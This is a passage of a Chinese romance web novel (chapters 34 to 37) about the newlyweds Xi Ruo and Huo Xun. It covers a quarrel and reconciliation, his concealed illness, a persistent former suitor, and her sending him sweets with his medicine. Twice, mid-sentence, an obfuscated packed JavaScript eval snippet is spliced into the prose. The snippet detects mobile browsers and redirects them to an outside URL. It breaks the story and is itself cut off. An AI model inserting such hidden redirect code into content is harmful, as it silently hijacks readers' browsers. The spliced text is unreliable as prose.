说是个小暖阁,其实也是个套间,只是比正经的住处要小了些,有个小净室可供他浴洗,外间还置了桌椅小榻。只是那小榻的确不大,还没下午霍恂在住处外间躺着的那张小榻大。 息偌进去看了一眼,瞧见豆蔻正在里头铺床,展了个新褥子放在里头。只是眼下里头都还没收拾出来,可见这个“方才”,当真是吃完饭出去后霍恂才给的吩咐。 她没说什么,转身回去,让小盼和茯苓替她准备沐浴的东西,往浴室去了。 息偌这次泡澡的时间长了些,直到霍恂从外头回来,她都没有出来的打算。 霍恂进门时,她听到了外头的动静,但是她也没有起来和过问的动作。等外头彻底安静了,自己也终于解乏了,她才从浴桶出来,换了新的寝衣回到卧室。 外间静悄悄的,灯都比里间暗些。息偌透过屏风向外瞥了一眼,问道:“他在暖阁歇了?” 茯苓微微顿了下,反应过来她是在问霍恂,便道:“是,侯爷也是怕娘子不自在,所以才让我们将隔壁收拾出来的。” 他们一直分房睡的事,别人虽不知道,她们几个近身的侍女却是知道的。所以息偌一问起来,茯苓立刻就能明白是什么意思。 息偌听见她的回答,轻轻嗤了一声。 来的时候,他才说过这边不比侯府里,没有另外安置住处,好在这个房间足够大,外头那张榻也不算太小。息偌当时还想过,好歹他受了伤,身量又高,恐怕挤着小榻也不舒服,她倒是愿意将床榻给他,自己去小榻上凑合一下。 他这下倒好,直接到旁边小暖阁里去了。那么小的榻怎么睡? 她都没撵人,他倒是会安排。 茯苓将话说得很好听,也显得很体面,可是息偌心里却明白不是那么回事儿。 若是霍恂一早决定了要过去睡,那白日那么久的时间,早都能让她们去准备。白日一直没动静,他也老老实实躺在外间那张榻上,摆明了就是打算要这么住的。 眼下匆匆忙忙,一看就是临时起意。 息偌心里闷闷地想,她不就是下午没理他吗,他就跟她这样发脾气?那她一个姑娘家,难道就不能害羞吗? 她气鼓鼓地翻身向里躺下了,没说话。 茯苓在旁边伺候,心里大概明白是发生了什么,来的时候还都好好的,眼下就一句话都不说了,但她也没想到发生了什么,只能试探着道:“这边不比府上,许久不住人,也不知道漏不漏风。眼下晚上还冷呢,娘子晚上是再添个小暖炉,还是再压个小被子?” 其实这话是在暗示,隔壁某个人未必能受冷。 但息偌故意没接话,将眼睛闭上睡觉了。 35. 夫妻 息偌的身体疲惫,原以为晚上可以极快入睡,可是也不知是因为中午睡得太好或者其他什么原因,晚上居然翻来覆去地没有睡着。 她闭着沉重的眼皮,在床上不胜烦扰地转身好几回,才在深夜里沉沉睡去。 也因为如此,次日醒来时,她的心情非常不好。她皱着眉头起床梳洗,去外间吃饭,却看到外头只摆了一副碗筷。 豆蔻和茯苓在旁边同她道:“这附近有几处庄子是侯爷的,他回宁都后还没看过,今晨起了个大早去看庄子了,若是脚程快,晚上就能回来。” 息偌于是心里那股气闷更甚,直接道:“那今日直接替他将东西收了罢。咱们早些启程回城中去,给他传个信儿,让他不必急,慢慢回去就好。” 他们最开始是说好,婚后三、六、九日回三次息家。几个侍女知道主子们的安排,闻言知道她在赌气,便在旁边试探道:“娘子忘了?前儿个给息家长辈们说好的,因出来想多玩几日,故而约定晚几日回家,怎么这就要走?” 息偌道:“他有事要忙,我身上酸疼,也没力气骑马,还留在这边干什么?不如回家去。” 茯苓和豆蔻原本想劝一劝,小盼知道息偌在气头上,给她们使了个眼色,把话咽了回去。 饭后,息偌果真便催起她们收拾行李,要准备回城。二女无法,只得给霍恂那边传了书信,告知此事。 息偌赶得着急,马车回到侯府时,也不过才赶上午饭的档口。她刚走进居所不多时,就有人钻进她的房间,好奇问道:“嫂嫂,你怎么回来啦?” 不是小茹又是谁? 息偌一个激灵,想自己忘了这个丫头,转过身来看着她,道:“我还以为他放你回家了,你一直在侯府待着?” 小茹点头道:“本来是回家了,不过这边可以蹭饭呀,我就过来了。” 她看出息偌虽然笑着,但明显不大开心,便问道:“是不是小霍欺负你了?” 息偌不想提,便道:“不是,是我觉得没意思,骑马骑得我浑身酸疼,太不舒服了。” 小茹笃定道:“那就是小霍欺负你了!” 她愤愤道:“他敢欺负你,让你不开心,还把你丢下,让你一个人回来。他敢这么对妻子,若是公主和将军在,非要打断他的腿!” 她都认定了,息偌也干脆没再故意否认了,直接道:“别提他了。” 小茹心里有自己的盘算,嘴上没有再和息偌聊霍恂的任何事。她们坐到一起吃了午饭,小茹看她吃饭还要时不时展展腰,就在饭后帮她重新按了按。 息偌坐在那处闭着眼享受,道:“昨天茯苓帮我推拿过,还泡了药浴,今天还是疼。早知道这么遭罪,我就不去玩儿了。” 小茹在她身后笑道:“这算什么呀?有我在呢,还能让你遭罪不成?” 她从她肩头越过来,问道:“那些大世家里,不是有些便于女子习练的操式吗?你肯定没好好学过,不然不会这样酸痛的。” 这话倒是说中了,息偌有些赧然道:“我懒嘛,不喜欢去练那些,再说了,我看自己那些练了的妹妹们,也不见比我强到哪里去。” 小茹道:“强身健体非一朝一夕之功,看能看出什么呀?你要是怕累,我教你一套简单的,你每天早起闲了练两遍,肯定比现在强些。” 息偌嘴上应了,但是眼里没什么太大乐趣,显然是应付。 于是小茹又道:“等你学会了,还能回去教教你母亲,对她也有些好处的。” 这下息偌来劲了,真和她练了起来,待练过两遍,神清气爽,又因路上浅眠了一会儿,并不大困,就带着侍女收拾东西去了。 她本来是想带着小茹一起聊天说话,但小茹倒没多留,说了句“今日只是来蹭饭,还另外有事”,便告辞离去了。 息偌就没多留。 如此直到晚间,息偌洗漱过躺在床榻上看书,准备要叫小盼进来熄灯睡下的时候,门外突然传来一阵脚步声,然后房门被轻轻敲了敲,有人从外头走了进来。 霍恂走进来,停在了屏风之外,身上朴朴的晚风凉气却好像穿透屏风幽幽地渗透进来。他在那处微微犹豫了片刻,而后道:“我回来了,明日……我与你一同回息家去。” 息偌在里头哼了一声,冷冷道:“不妨事,你既然去庄子上跑了一天,如此辛苦,不必非要陪我回家。” 若是他听不出她在赌气,那就是太蠢了。 他微微顿了一下,问道:“你披着衣裳吗?我进来与你说两句话。” 息偌披着外衣呢,但她靠在原处没动,道:“我要睡了,有什么话,改天再说罢。” 霍恂却没走,站在外头道:“昨晚吃饭时,你不同我说话,我想你应当是见我尴尬,所以晚上不曾见你,今天又避开,并不是不想陪你。没有明言,是我疏忽,若你误会,我向你赔礼。” 如果是从前,或者对着旁人,息偌应该会稍微拿腔拿调一些,就此不理了。 但她听着这话,沉默了一下,突然从床榻上下来穿鞋,把外衣拢好了,快步走到屏风之外,和他对面相视。 二人的目光撞在一起,他抱有歉意,她也坦坦荡荡。 “我是因为那件事有些尴尬,但你我是夫妻,总要有那么一日,我也没必要为这个非要躲着你不可。你容我羞臊一阵,我自然还与你同往日般相处,何至于明知道外面不便,还让你带着伤住到外头去?你有何必要回避至此,在外头躲一整天都不回来?” 她说到此处,微微拧了眉,有些委屈道:“我难道是那么不讲理、脾气那么不好的人吗?” 霍恂道了句“抱歉”,息偌轻嗤了一声。 他望着她,安安静静的,目光也悠长,直看得息偌都有些不大自在,想要出言打断他的时候,他却突然清清朗朗地笑了起来。 她气不过,恼道:“笑什么?” 霍恂道:“我在笑,夫妻之间难免生出矛盾,但如你我这般,快些说个明白,免得积怨成山,我很喜欢。” 他靠近她一步,道:“夫人,若是将来再有类似之事,也请你如今晚一般坦荡,快些与我说明,免得我头脑愚钝,不解其意,反倒惹你生气。” 息偌看着他,他面上有些倦怠,但眼睛却亮,在昏昏的光线里好看极了,她再一次没出息地为他心软。 “那你就得同我约法三章,再不能这么拂袖离去,一句话也不给。” 霍恂痛快应道:“我答应。” 息偌积攒了整日的怨气就这么迅速散尽了,她板着脸,看他一眼,目光落到他身前,道:“话说完了就回去休息罢,伤没好呢,别折腾了。” 今晚的氛围对他来说已经太好了,霍恂本来还想与她说些什么的,但见时间太晚,知道她身体不适,便没有继续,对她道了句“晚安”便退了出去。 他回到书房,迅速洗漱好坐到榻上,雁行才过来帮他换药。今天在外头,霍恂特地注意了伤势,也在中途换过药,所以此刻虽然晚了,伤口倒好,并没有出现开裂的状况。 雁行一边给他换药,一边絮絮道:“还好是没动到伤口。您也真是的,和娘子闹脾气,就换个屋待着呗,出去折腾什么?还累得自己办完了事儿又匆忙赶回来。” 霍恂懒得听他念叨,便道:“你回头去继续盯着,若再有什么变故,及时告诉我。” 此次来到别院,霍恂原本是计划着,带息偌多玩儿几天,中间抽个空子出去将自己早就计划好的一桩秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751948|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事给办了,假借着和夫人在外游玩的名义,神不知鬼不觉,正好掩人耳目。 中间因为有了那个小插曲,他想既然息偌觉得见他尴尬,他也不妨借此机会躲出去,一来将事办了,二来也给她一个调整心情的时间。 唯一一个疏漏,就是忘了解释。 当时他已经离了别院,想起这事,总觉得要当面解释才好,又怕等回去后时间过得太久,已来不及,便匆匆写了封信,让身边的近卫送回去。 信是送回去了,可惜收的人却不在,而另一封信也到了他手里,说的是息偌要回去。 其实霍恂当下是想着要回去解决的,只是当时他已经到了目的地,也见到了要见的人,马上就要拿到该拿的东西,知道想知道的事,总不好半途而废。 这么一折腾,等再快马回到宁都,时间就晚了太多。 雁行口中应了话,但心思还在自家主子的感情事上,继续说起前话道:“我瞧娘子脾气也挺好的,侯爷你低低头也没什么,对着自家夫人欠些威风怕什么,夫妻之间别老摆架子装刻薄,不好。” 霍恂看着绷带缠好,直接给他一脚,道:“快闭嘴罢,滚蛋。” 他从前还没觉得,现在将息偌身边那个近卫息忍看久了,倒是也安静得挺顺眼的,想换。 雁行脸上嘴上不开心,但是心里念着让自家主子休息,还是很快就退了出去。霍恂平躺下来以后,看着黑暗的床顶,却全是刚才那些话来回在脑子里转,转来转去,最后就只剩下一句。 夫妻。 夫妻是这样的。 他成婚才几日啊,却好像日日都开心,时时都开心,就连今日出去办事,听见对面贺他新婚,他防备之余都是开心。 但现在安静下来了,息偌刚才那一张脸却又落在了他眼前。 她那话是什么意思,什么叫“你我是夫妻,总要有那么一日”?什么叫“我自然还与你同往日般相处”? 好长的一番话,没有一句是明说过什么许诺的,但是字字句句都好像是在告诉他一个信息—— 她已经认定了要与他做夫妻了,也并不会与他回避任何事,她是很认真地在对待、在投入、在付出,并且是需要他给予可以对等的回应的。 他不该让她失望,她也不允许他让她太过于失望。 若是与息偌做夫妻,若是与息偌做了夫妻后,日日都是这样的日子——霍恂想,那他真是一千个愿意,一万个愿意。 这样的日子实在太美丽了,美丽得可以与他幼时与父母短暂团圆的那一段快乐时光相媲美,于是也让他心里警铃大作,瞬间想起来,他从来是拥有不了这样美丽的日子的。 就在这一刻,他突然感觉到自己的骨骼肺腑都再一次痛起来了。 他不想叫人,也叫不了人。 在这一刻,他倏然浑身都僵直发硬,脖颈和额头都浮现出暴起的青筋,一层薄汗忽然便笼罩了他全身。他咽喉发堵,脖颈如同被狠束般出不了任何声音。 他徒然地挣扎,费力地翻过身,努力控制着自己的手,从枕下取出一个瓷瓶放到嘴边。他齿关都发冷发僵,费了好大的力气才咬开封口,然后便不管不顾地将其中的药物全都倒进口中,困难不已地打开封闭的咽喉吞咽下去。 他非常艰难也非常熟练地顺势咬住了自己的手腕,将痛苦的呜咽都安静地掩藏下去。 那些无声的痛呼,都在恍惚间回到了儿时。母亲拥抱着自己,温柔地抚摸着他的额头,唤着他的名字,陪着他直到力竭睡去。 他已经长大了,他已经可以很好地控制自己,不再对那些不存的温暖产生任何依赖和妄念了。 在一片寂静的寒冷里,他再一次熬过了折磨自己多年的痛苦。 36. 甜食 去别院的计划被就此打断,息偌与霍恂也就不再念着这一出,次日老老实实地回息家去。 息夫人问起来,息偌便说是自己骑马后身体不适。息夫人原本不信,见她表情尚好,与霍恂之间又不见什么生分回避,甚至还比前几日来时更要亲密些,便放下心来。 如此,待息偌彻底过了三、六、九日的三次回门,霍恂正式授官,归于门下省,每日往朝中去了。 俗话说,新官上任三把火,霍恂授官以后动静也不小,饶是息偌没有主动去听,也有不少风言灌到她耳边来。 后来大约是霍恂寻了人开刀,渐渐的,便有不少女眷来登门拜访。息偌的态度倒是一致,送礼的一概不收,邀约的一概不去,求情的一概说自己不知道朝中事,帮不上什么忙。 如此过了一阵子,息偌回家看父母时,息夫人还同她提过一嘴,说是那些人见求息偌没用,甚至都有来求到她这里的。 连息檀现在都不大插手政务了,息夫人能有什么用?息偌听见了便故意道:“那阿娘可是占了我的光,咱家可许久不见这么门庭若市的场面了。” 息夫人无奈道:“是是是,多谢你。你是不知道,这些时候来家里的人闹得我头疼,我将你长兄撵出去了,这才消停了些。” 息偌心里清楚息停是为何变得更加忙碌起来,其中肯定没少霍恂在其中来回驳斥的功劳,于是聪明地没有再继续开口,将话题点到即止。 息夫人也明白这些事中的弯弯绕绕,便与息偌道:“这里头的分寸不好把握,郎君们且去外面闹着,你在家里就如从前一般就好,这关节分不清底细,就一视同仁都驳出去,有什么也是将来再说。” 息偌听话称是。 如今霍恂每日早出晚归,息偌空出了大把的时间,将府中上上下下的情况终于料理了个分明,还将自己的嫁妆整理清楚,把陪嫁带过来的庄子店铺都点了个清楚。 大功告成,她决定奖赏自己一番,又带着身边三个侍女一齐往荔溪坪的别院去了。 她这几天也都将茯苓和豆蔻的情况了解得很清楚了,这两个原本特地教了些药理和医护的知识,是在清都那边派给霍恂的,霍恂不用她们服侍,就一直让她们管些内事。 也是因此,甫一成婚,他就让她们两个紧着息偌这边来。 既然是紧着她来,那她也就不客气了,说要带走她们两个的时候,她们还念着霍恂那边推辞了一番,但息偌与人熟起来了,也就霸道起来,直接将人带走了。 于是霍恂这日回来,看到的就是一个空荡荡的院子,身边就剩了一个忍笑不止的雁行。 这次息偌去前已经同他当面说过,还给他留了书信,但就是这么热闹了一阵子,他还是突然觉得,似乎有些难以接受这种空落了。 雁行看他将一封信从头看到尾,再从尾看到头,再傻的人也能想明白他在念着什么了,于是便道:“您又不是没有休沐日,再忙上两天您也一起去荔溪坪不就成了吗?” 霍恂嗤道:“那你明天去了,记得将息停拦下往死里打一顿,警告他这些时候不要给我找事儿,莫要耽误了我休沐。” 雁行立刻捂住嘴,表示当他没说。 霍恂不否认自己是有些想念息偌,但这点想念还不至于让他就此将手里的事全丢开追过去。 他每日回来,再晚也写一封信,让人第二天一早等城门开了便送回去;无论此日多忙,晚上都得回府上休息,将回信看完,再写次日的信。 如此过了三四日,待到他休沐日的前一日下午,息偌便带着人从别院回来了。府上的仆从去官署里给霍恂送了信儿,他当晚便按时下值,早早回家来了。 霍恂现在早回的时候不多,前几日,息偌特地寻了个他早回的日子,和他一同用晚饭的时候说了自己想去别院再玩儿几天的事,直到今日,过了这么多天,两人才又坐在同一张饭桌上。 两个人说起闲话来,息偌同他讲起这几日自己在别院练习骑马,虽然不敢打马球,但速度不快的骑行已经没有任何问题了。 霍恂听她说着自己练习的趣事,时不时应和两句,最后道:“是我不好了,答应了你陪你练习,却就陪你去了那一次。等过了这一阵儿,我寻个空荡,去教你打球。” 他说得诚恳,息偌也没矫情,道:“你那一次也是教会我了,不然我自己去是不敢骑的。打球的事儿不着急,我也不打算贸然应约上场,等你一切都稳下来再说。” 霍恂为她添汤,微愧道:“是我连累夫人了,让夫人玩儿也玩儿不痛快。” 息偌看着他,皱皱鼻子,有些嫌弃道:“快别演了,你心里瞧见我这么有分寸,得意着呢罢?” 于是霍恂便坦荡笑开了。 息偌自己说得多,也关心霍恂,只问他忙不忙,在官署的饭用得如何,却没问什么具体的事,霍恂都一一同她答了,说是一切都好。 其实有一点不太好,官署里有那么几个夫妻恩爱之名远扬的官员,日日到了饭点,家中都有人来送饭。送来时饭都是带着热气的,在盘子里摆得正正好好,一点也没见冷却塌落。 老实说,他有点心痒,但是没必要。 官署里的饭又不难吃,他与息偌这样,让息偌特地来送一回,也怪矫情的。 霍恂没说这事,等饭后陪着息偌去散了散步,待回来要各回各屋的时候,息偌却脚步一转,往他书房的那个方向转过了身,问他道:“你伤怎么样了?养得如何了?” 大约是因为婚后不过几日,她便累得他伤口裂了几回,所以她对他这道伤似乎格外上心,在家时每日都要问上一回,这几日在别院写信,也是每日都问。 霍恂停了步,没让她和自己一起过去,只道:“你现在看不成,到底伤口太大,虽是慢慢愈合,现在还没完全好呢,怕你看着又害怕。” 息偌原本确实是想看看他伤口的,他这么一说,她才觉得是有些不便,没道理她要看他身体,他就要露出来给自己看。 于是她也没强求,道:“今日回来时,我回息家蹭了顿饭,问我阿娘要了个药方。之前我有个小妹妹,小的时候发疹子,落了一身的疤,到底是个姑娘家,总是不好,就用这个药膏涂抹,如今疤都祛了,一点也瞧不出来。我带回来给你,你让关大夫看看,回头给自己也用上。” 那么大的伤口,必然要落疤,还不知多狰狞呢。 息偌看着他的脸,总觉得这么个清清朗朗的人,若是身上多一道长疤,实在是如美玉微瑕,太过可惜。 霍恂点头道:“好,那就谢谢夫人挂记。” 他在晚风里注视息偌,莫名看得她此时脸热。她在原地顿了顿,意识到没什么话要再说,时间也不算太早了,便道:“那你休息罢,我先回去了。” 霍恂见她如此,口中应了一声,又问道:“好,夫人还有什么话与我说吗?” 息偌说“没有”,道过“晚安”便扭头回去,霍恂盯着她背影看了许久,待她进了房间,这才迈步走进书房。 书房里有护卫在等,见他来了,一五一十将自己所知都报给他听。 “那位冯九郎君不知是从哪儿听见娘子出去的,骑马追过来,恰在路上拦住了娘子,非要娘子下车与他说话。他固执得很,见不到娘子不肯罢手,娘子也是无奈,才打起帘子同他说了句话,但却没有下车,也没让他靠近。” 这事儿霍恂已经从密信中知道了,眼下听着详细情形,眉眼也是淡淡,问道:“冯九说什么了?” 那护卫道:“都是些酸倒牙的话,要么就是说‘认识多年的情分’,要么就是说‘无奈被迫之举’,再有就是立些荒唐没边的誓,说什么‘此生一人此心不变’的话……” 霍恂嗤笑一声。 那护卫立刻道:“但那都是冯九郎说的,娘子是一句都没应,最后还斥他荒唐逾矩,警告他不要再来寻她。神色凌厉极了,不像是要应他的意思。” 霍恂面上表情没怎么变,却也看不出来是个什么心意,听完这些,也觉得特地叫来问一遍怪无趣的,便道:“她回头要出去,除却息家她那些跟来的护卫以外,你也一直带人跟在旁边。我先前与她说过这事儿,她没有反对。下次再遇到那冯九之类的事儿,下些狠手也无妨。” 护卫应声称是,便要退下。 霍恂却又叫住他,道:“罢了,除非逾矩无礼,否则你不必主动出手,听她安排吩咐就是了。” 那护卫领命后转身离去,又将房门重新阖了起来。霍恂在原处坐了半晌,垂着眼不知道在想些什么,忽听一阵轻轻敲门声,一听就是息偌在外面,于是又起身去开门。 他将自己的心情整理得飞快,带着笑意问道:“夫人有何吩咐?” 息偌看着他,抿了抿唇,打定了主意似的,将他向内一推,自己也跟着迈步进来,然后回头将房门阖上。 这还是她第一次踏足他的空间,看得他微微一怔。 房内十分安静,她看着霍恂,目光没有犹豫,开口同他道:“我还有件事,我得直接告诉你。冯九郎在我去别院的路上拦过我一回,但我没有应过他什么,你听了莫要生气。” 息偌在说这话之前,其实真是有些犹豫的。 她和冯晚那些过去又不是假的,若是告诉了霍恂,她到了婚后还与冯晚有这些牵扯,难免霍恂心中多想。 可是她却从来没想着隐瞒不告,这样的事儿,越藏反而越是此地无银,长久压抑必生龃龉,没必要费力遮掩。 霍恂在听到她说完这些的时候,心里想的却是:他方才原来当真是有些生气的。 但是奇的是,在她说出这话以后,他却突然不怎么生气了。 他甚至有些想笑。 他也确实笑出来了。 “夫人,你是不是忘了,你答应了带上我给你的护卫?这样的事,我必然是会知道的。” 他甚至给她解释起来,道:“我非是有意让他们替我盯住你行踪,只是他们见了主人路上被拦,没道理不回来报我,你莫见怪。” 息偌没想到他是这个态度,微微一怔,而后又回过神,把自己来时要说的话与他说完。 “我并非有意隐瞒到现在才告诉你。只是一来,那是几日前的事,我若书信告诉你,文字之间若生歧义,你我不能当面说明,反而不好;二来,我确对他无意,眼下也不曾将他放在心上,所以说起别的,并没想起这事,不是故意遮掩。” 霍恂笑道:“我知道了,夫人,我也没有生气。” 但息偌不乐意了。 她仔细看着他的神色,他眉眼疏淡,微微带着些笑意,的确没有什么风雨欲来的虚伪,但是她就是觉得不满意,反问他道:“你不生气?” 霍恂挑眉。 息偌问道:“上次在彭家,你看见他来拦我,还拗了会儿脾气,眼下成了婚,你反倒不气了?” 霍恂于是笑道:“其一,上回我没有拗脾气,若你觉得我拗脾气,那也不是为着他来寻你;其二,他来寻你,与你无关,都是他不分轻重,我纵然要生气,也不该对着你,而该去寻他才对。” 息偌被说服了,点点头道:“你说得对。但我还是要告诉你,无论过去我与冯晚有什么,现在都是什么也没有。我是好好对待你的,也不想与他再续前缘。你们若有什么不睦,都不可以计较到我的身上。” 霍恂心中微嗤,想,那冯九郎还不到能与他产生不睦的份量,即便真有什么不睦,那也是为了息偌,不为别的。 他允诺道:“我不会。若你不介意,有需要的话,我还可以替你解决。” 息偌还以为他应当不会愿意牵扯到自己的这些事里来,有些意外地问道:“你还可以替我解决这些吗?” 霍恂反问道:“为什么不可以?你的事情,想要自己解决,那我就不会干涉。如果你不想做,那我就替你去做,这不是天经地义的事吗?” 息家明知冯晚这些事,婚后却没动作,便是等着要看他的态度。可这件事上,哪里需要什么试探?只要息偌满意,他去做什么不可以? 息偌点点头道:“那你替我解决罢。” 霍恂微讶着失笑道:“我还以为你要自己雄赳赳气昂昂地去与他算账。” 息偌对他摇一摇手指,轻松道:“我这个人很害怕麻烦的,之前拒绝过他,眼下也成婚了,他若是知趣之人,便不该做这些事来弄得两边尴尬。既然他不是,那我多见一面少见一面区别也是不大的。” 她眼睛亮亮地看着他道:“但你去不一样呀。你在朝堂上威风八面的,还能治不了他吗?有人乐得帮忙,我自然是要接受的。” 霍恂心里一点儿不快也没有,痛快地点头道:“成,那我就自己看着办了。” 这话说完,息偌仔细瞧了瞧他的模样,确认他不是不开心的模样,便说了要回去,只是走到门口时又回头问他道:“你明天休沐日,还要出去忙吗?” 霍恂问道:“怎么了吗?” 息偌摇摇头道:“我想你一直忙着,于养伤也不利,若是不太忙了,明日在家好好休息。” 从前他们不管平时各自做什么,到了饭点总是要一起吃饭的,但霍恂入朝以后,便一直忙得厉害。他早上去得太早,叮嘱了不要叫醒息偌,晚上回得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769009|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太晚,息偌又已经熬不住睡下,所以今天能聚在一起都算难得。 息偌因此没问过他什么详细的,但只看这作息都知道他一直忙着。她想着,若是他今天回来得早,是不是代表这几日不是特别忙碌,兴许可以在家多休息一阵子。 其实霍恂今天是特地推了一部分公务提前回来的,原本是计划着,明天继续回去处理。 但是息偌既然这么问了,他便笑一笑道:“还有些事,不过不着急。明早我起晚些,咱们一起吃个饭?我听说前些时候你去厨房指导了一番,正好尝尝鲜。” 息偌没想到他连这事都听说了,有些惊讶地睁大了眼睛,但很快就解释道:“什么指导呀?我就是去问问他们擅长什么。” 霍恂点头道:“对,然后顺便叮嘱他们,每日多给你做上几道点心,要少放糖和蜂蜜,但是要有甜味。” 息偌下意识便想要反驳,但是脑中瞬间回忆了一下那天与几位厨子的话,前前后后拼起来,好像是这么一句话,于是反驳的话也憋了回去。 她哼了一声,扬着下巴推门回去休息了。 这晚息偌睡得晚了一些,次日醒来的时候,比平时晚了许多。她见天光大亮,叫小盼进来问了时间,有些埋怨道:“怎么也不叫我?” 小盼一边帮她穿衣一边笑道:“娘子急什么,侯爷还没走呢。” 息偌就是以为霍恂那句话的意思是吃过早饭就走,谁知道小盼说了这句,她有些惊讶地回头看她。 小盼继续道:“听茯苓说,他今天比之前没入朝的时候起得还要晚许多,知道你也没醒,就让我们别叫,自己在书房那边等呢。” 息偌问道:“他吃了没有?” 小盼摇头道:“没,他还专门让厨房等着,说等你醒了再一起吃呢。” 息偌听了这话,手上动作更快了,迅速将衣裳穿好,让小盼给自己绾了个简单的发髻,一边梳头便一边叫人去传饭。 霍恂那边也听到信儿了,漫步走过来,见她坐在里头梳头发,便靠在屏风旁边望着她道:“夫人着什么急?饭还没好呢。” 息偌手忙脚乱的,镜子都来不及看,骤然听见他的声音,本想回头,又被小盼的手挡住。 她从镜子里望向他,皱眉嗔道:“谁是为了吃饭?是害怕你饿坏了肚子,下回又去对着我爹娘告我的状。” 霍恂于是走过来,坐在她旁边看着她,指了指她右手中那副耳环,道:“我岂敢?息大郎怕我怀恨在心,回到家欺负你,要在朝上警告我的。” 息偌比了比两手中的耳环,的确是更喜欢右边那副,便抬手给自己带上了。 她分明不大相信,只是顺着他的话道:“那你老实点罢,我在息家是很受宠的。” 她戴好了一边,另一边却怎么也过不去,正好在霍恂这边,她便将身子往他那边侧了侧,道:“帮我看看,我戴不上了。” 霍恂盯了她一眼,还是倾身伸手,从她手指间将耳环取过来,捏着她的耳垂轻松穿了过去。 息偌对着镜子看了看,对今天的美貌也非常满意,而后道:“好了,吃饭去罢。” 她起得轻快,甚至还伸手到了霍恂面前。霍恂指尖方才那种滑.腻的触感还没有完全消失,此刻又是微微一顿,但很快便自如地拉住她的手起了身。 “成,可算是得到夫人准我吃饭了。” 他们的手自如地松开,转身又坐在了一起,桌面的饭食比起从前变化并不大,但却多了个盛糕点的盘子,还多了两个盛甜品的小盏。 息偌推给他一碗,自顾自地分配好了,道:“我看你不爱吃这些,但这碗做的是不甜腻的,你喝完药易犯恶心,吃这个能好些,你今天尝尝看。” 关大夫治病的能力了得,但是配药的功力属实是有些不忍卒视。霍恂也就是胜在喝习惯了上,只是即便如此,小时候也是喝一次吐一次,长大了再喝,也会偶尔犯些轻微的恶心。 霍恂不怎么表现出来这些,也不知道她从哪里看出来的,便多看了她一眼。 息偌就看着他呢,此刻得意地挑挑眉,道:“是不是没想到我这么聪明?我可是很体贴、很会照顾人的。” 霍恂那道雷打不动的药膳,里头有些药若是空腹去用,便易伤胃,关大夫特地叮嘱了,让在他饭用过大半的时候给端上来。 他有时候未必是饱了,但是不能等药凉过头,失了效力,便时常先去吃药了。只是每次吃完药,他动筷子的频次就少了下来,甚至干脆就停下来,明显就是不舒服。 息偌又不是什么傻子,吃了这么多回饭,岂能连这么明显的事都看不出来?都不用脑子去想,也知道他吃药没有表面上那么平静舒适。 霍恂对此原本是不抱什么太大希望的,但是在她期待的眼神下,还是在用药后喝完了她专门准备的那盏甜饮。 他是知道她喜食甜食的,所以叮嘱过厨房,给息偌做甜点时可以多放些糖,但是量不要做多。他原本觉得大约会过甜,却不料味道很是清淡,正合他口味,咽下以后也很清爽,没什么发腻的后味。 他借着这股味道将药的苦味盖过去,倒还真没觉得有什么不舒服了。 息偌看见他重新又拿起了筷子,放下心来,给他多夹了些菜,道:“味道还好吗?回头我多寻摸几个样式,给你换着吃。” 霍恂将她夹来的菜都吃了,随口玩笑道:“我三餐都要喝药,你惯得我这样,早晚在家也就罢了,其他时候该怎么办呢?” “这有什么难的?” 她完全没觉得这是个什么麻烦事,眨一眨眼睛,很自如地同他道:“我让人给你送去官署里呀。” 霍恂望着她的目光怔住了,手下的动作也停了下来。 他没想到她这么轻易地便说出这话,仿佛对她而言,一切人与人之间的屏障想要打破,都只是轻而易举的事情。 她想要走过来,刀山火海也只是她裙边擦过的碧草柔茵。 息偌被他直白的目光看得有些脸热,还以为是自己话说得冲动了,有些为难地问道:“你刚入朝,许多人盯着你的所作所为,如果在官署里这么要求讲究,是不是不大方便?” 其实没有不方便,做就做了,谁敢说他这样?谁说了他又能如何? 但他故意道:“有一些。” 他以为她要退避了,但她却立刻便笑着道:“那我做成糕点,用装药的油纸包好给你带着,保证谁也发现不了。” 她没有回避,还非要迎难而上。风要浩荡而来,谁也阻拦不住。 霍恂顺从地接纳了她勇敢的进攻,笑着道:“那就辛苦夫人了。” 37. 意外 他们这一顿饭,吃得比平时的时间都要长上好多。 大概是因为霍恂用药后又多吃了几口,两个人还算开心,一边说话一边用饭,不知不觉就度过了许久。 息偌知道他吃完药总是要安静一会儿才陪她出去散步,今天也就干脆没出去,就自己在房间里来回悠闲踱步。霍恂猜到她大概是故意的,安安稳稳倚到了一旁凭几上听她闲话。 只是话也没说多久,那边门口雁行过来了两趟,都让茯苓在外头拦住了。息偌瞧见了,便道:“让雁行进来罢。” 雁行进来时也有些抱歉,对着她行了礼,便俯身去霍恂耳边低声说了几句。 霍恂面色没怎么变,摆手让他出去了,息偌这才道:“你要去官署吗?快回去更衣罢。” 她并没听到他们说了什么事,但是雁行能这么过来说,恐怕也不是太小的事。息偌知道霍恂忙碌,没有非要留他的打算。 霍恂有些无奈地抬眼瞧她,道:“我原本真是打算好好休息的。” 他语气中不无怨念,到底他也是个自在惯了的年轻人,如今骤然忙碌起来,乍然一闲,还有些贪恋不舍。 